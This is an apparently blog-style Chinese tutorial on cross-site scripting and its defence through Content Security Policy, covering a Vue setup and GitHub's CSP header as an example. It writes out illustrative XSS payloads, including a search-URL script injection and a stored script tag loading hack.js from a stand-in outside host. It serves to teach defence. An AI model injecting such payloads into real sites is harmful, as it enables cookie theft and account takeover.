XSS

先了解一下XSS，跨域脚本攻击。这个词不是新鲜名词了，本文用最通俗语言简单介绍一下其中最常见的2种：

反射型XSS

比如一个网站提供了搜索功能，用户输入孙艺珍，则后台搜索一下，然后返回跟孙艺珍相关的结果页面。在未做防范的前提下，黑客输入<script>alert('xss')</script>，那么会跳转到跟<script>alert('xss')</script>相关的结果页面，很可能结果是0个结果，但是结果页往往会把搜索词显示一遍，此时会解析<script>alert('xss')</script>，于是JS执行了。

那么，我就把http://本站.com/search=<script>alert('xss')</script>先做个短地址，然后发给你，然后你打开了，于是你在这个站的cookie可能就被上传到了黑客服务器，然后。。。

存储型XSS

危害最大的一种，网站因为没有过滤用户输入，导致黑客将<script src="http://外网.com/hack.js"></script>写入了网站数据库，然后被显示到了网页中，这样任何访问该网站的用户都会执行hack.js，最终造成严重后果。

CSP

CSP是内容安全策略的简写，CSP 的实质就是白名单制度，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。它的实现和执行全部由浏览器完成，开发者只需提供配置。

CSP通常的使用方法是禁用所有行内脚本，然后对引入的js实行白名单，这样会最有效的防范XSS。

CSP大大增强了网页的安全性。攻击者即使发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机。

CSP兼容性

从兼容性可以看到，CSP第一版，IE10、IE11做到部分支持，Edge全部支持，CSP第二版，只有Chromium内核的Edge才支持。现实中看，国内手机的移动端一定支持，PC端也可以写上，可不可用看缘分，反正还有其他后端防范措施。

MDN手册

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy

阮一峰科普文

http://www.ruanyifeng.com/blog/2016/09/csp.html

Vue项目如何使用CSP

单页应用使用CSP是最简单的，因为只用给一个HTML页面设置CSP就行。本文只是提供思路和范例，并不提供API分析和完全版代码。

思路：

因为js、css一定是引入的，不会有行内的，所以禁用行内js。
因为js、css要么来自于项目中的static目录，要么来自于CDN，所以，我们要将这2个来源精准的加入白名单。
其他未列出的若干项，请自行研究和查阅资料。
用default-src 'none';托底，它表示阻止其他未列的所有内容。

github.com的content-security-policy

因为github是程序员和黑客的大本营，而且本身就是代码托管仓库，所以它的安全策略必须做到极致，下面贴出来，很有学习意义：

content-security-policy: default-src 'none';
 base-uri 'self';
 block-all-mixed-content;
 connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events wss://alive.github.com;
 font-src github.githubassets.com;
 form-action 'self' github.com gist.github.com;
 frame-ancestors 'none';
 frame-src render.githubusercontent.com;
 img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com;
 manifest-src 'self';
 media-src 'none';
 script-src github.githubassets.com;
 style-src 'unsafe-inline' github.githubassets.com;
 worker-src github.com/socket-worker.js gist.github.com/socket-worker.js